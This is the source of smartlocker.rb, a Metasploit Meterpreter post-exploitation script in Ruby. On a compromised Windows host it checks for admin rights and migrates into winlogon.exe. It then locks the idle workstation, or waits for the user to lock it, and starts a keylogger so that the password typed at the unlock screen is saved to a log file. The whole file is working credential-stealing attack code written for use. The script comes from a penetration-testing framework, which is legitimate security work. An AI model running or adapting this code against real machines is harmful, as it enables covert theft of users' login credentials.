metasploit-framework/scripts/meterpreter/smartlocker.rb

242 lines
6.1 KiB
Ruby
Raw Normal View History

# $id: smart_locker.rb
#
# Authors: CG, Mubix
# Additional idea: edsmiley
#-----------------------------------------------------------------------
sessions = client
def usage
print_line("Smart Locker Meterpreter Script")
print_line("This script will start the Meterpreter Keylogger and save all keys")
print_line("in a log file for later anlysis. To stop capture hit Ctrl-C")
print_line("Usage:" + @@exec_opts.usage)
raise Rex::Script::Completed
end
def check_admin
if client.railgun.dll['shell32'] == nil
client.railgun.add_dll('shell32')
end
if (client.railgun.shell32.functions['IsUserAnAdmin']) == nil
client.railgun.add_function('shell32', 'IsUserAnAdmin', 'BOOL', [])
end
status = client.railgun.shell32.IsUserAnAdmin()
return status['return']
end
def get_winlogon
winlogon = []
session.sys.process.get_processes().each do |x|
if x['name'].downcase == "winlogon.exe"
winlogon << x
end
end
if winlogon.size == 0
print_status("Winlogon not found! Exiting")
raise Rex::Script::Completed
elsif winlogon.size == 1
return winlogon[0]['pid']
else
print_error("Multiple WINLOGON processes found, run manually and specify pid")
print_error("Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session")
winlogon.each do |tp|
print_status("Winlogon.exe - PID: #{tp['pid']} - Session: #{tp['session']}")
end
raise Rex::Script::Completed
end
end
#Function for starting the keylogger
def startkeylogger(session)
begin
print_status("Starting the keystroke sniffer...")
session.ui.keyscan_start
return true
rescue
print_status("Failed to start Keylogging!")
return false
end
end
# Function for Collecting Capture (pulled from Carlos Perez's Keylogrecorder)
def keycap(session, keytime, logfile)
begin
rec = 1
#Creating DB for captured keystrokes
print_status("Keystrokes being saved in to #{logfile}")
#Inserting keystrokes every number of seconds specified
print_status("Recording ")
while rec == 1
#getting Keystrokes
data = session.ui.keyscan_dump
outp = ""
data.unpack("n*").each do |inp|
fl = (inp & 0xff00) >> 8
vk = (inp & 0xff)
kc = VirtualKeyCodes[vk]
f_shift = fl & (1<<1)
f_ctrl = fl & (1<<2)
f_alt = fl & (1<<3)
if(kc)
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
case name
when /^.$/
outp << name
when /shift|click/i
when 'Space'
outp << " "
else
outp << " <#{name}> "
end
else
outp << " <0x%.2x> " % vk
end
end
sleep(2)
file_local_write(logfile,"#{outp}\n")
still_locked = client.railgun.user32.GetForegroundWindow()['return']
if still_locked == 0
print_status("They logged back in! Money time!")
raise 'win'
end
sleep(keytime.to_i)
end
rescue::Exception => e
if e.message != 'win'
print("\n")
print_status("#{e.class} #{e}")
end
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop
end
end
#############
# MAIN
#############
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-w" => [ false, "Wait for lockout instead of doing the lockout"],
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
"-i" => [ true, "Idletime to wait before locking the screen automatically. Default 300 seconds (5 minutes)." ],
"-b" => [ true, "Heartbeat time between idle checks. Default is 30 seconds." ],
"-p" => [ true, "Target PID - used when multiple Winlogon sessions are present."]
)
#
# Default variables
#
# Log file variables
host,port = session.tunnel_peer.split(':') # Get hostname
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create Filename info to be appended to downloaded files
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs
::FileUtils.mkdir_p(logs) # Create the log directory
logfile = logs + ::File::Separator + host + filenameinfo + ".txt" # Logfile name
# Idletime variables
keytime = 30
heartbeat = 30
idletime = 300
targetpid = nil
justwait = false
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
keytime = val.to_i
when "-h"
usage
when "-w"
justwait = true
when "-i"
idletime = val.to_i
when "-b"
heartbeat = val.to_i
when "-p"
targetpid = val.to_i
end
}
# reset defaults options if non are specified (because you are an idiot)
keytime.nil? ? keytime = 30:
idletime.nil? ? idletime = 300:
heartbeat.nil? ? heartbeat = 30:
#Make sure we are on a Windows host
if client.platform !~ /win32|win64/
print_status "The script does not support this meterpreter type"
raise Rex::Script::Completed
end
# Load railgun if it isn't already
if client.railgun.present? != true
client.core.use("railgun")
print_status("Railgun wasn't present.. Loaded")
end
# Check admin status
admin = check_admin
if admin == false
print_error("User is not an admin, exiting")
raise Rex::Script::Completed
end
mypid = session.sys.process.getpid
if targetpid == nil
targetpid = get_winlogon
print_status("Found WINLOGON at PID:#{targetpid}")
else
print_status("WINLOGON PID:#{targetpid} specified. I'm trusting you..")
end
if mypid == targetpid
print_status("Already in WINLOGON no need to migrate")
else
print_status("Migrating from PID:#{mypid}")
session.core.migrate(targetpid)
print_status("Migrated to WINLOGON PID: #{targetpid} successfully")
end
if justwait then
print_status("Waiting for user to lock out their session")
locked = false
while locked == false
if client.railgun.user32.GetForegroundWindow()['return'] != 0
locked = true
print_status("Session has been locked out")
else
# sleep(keytime.to_i) / hardsleep applied due to missing loging right after lockout.. no good way to solve this
sleep(2)
end
end
else
currentidle = session.ui.idle_time
print_status("System has currently been idle for #{currentidle} seconds")
while currentidle <= idletime do
print_status("Current Idletime: #{currentidle} seconds")
sleep(heartbeat)
currentidle = session.ui.idle_time
end
client.railgun.user32.LockWorkStation()
end
if startkeylogger(session)
keycap(session, keytime, logfile)
end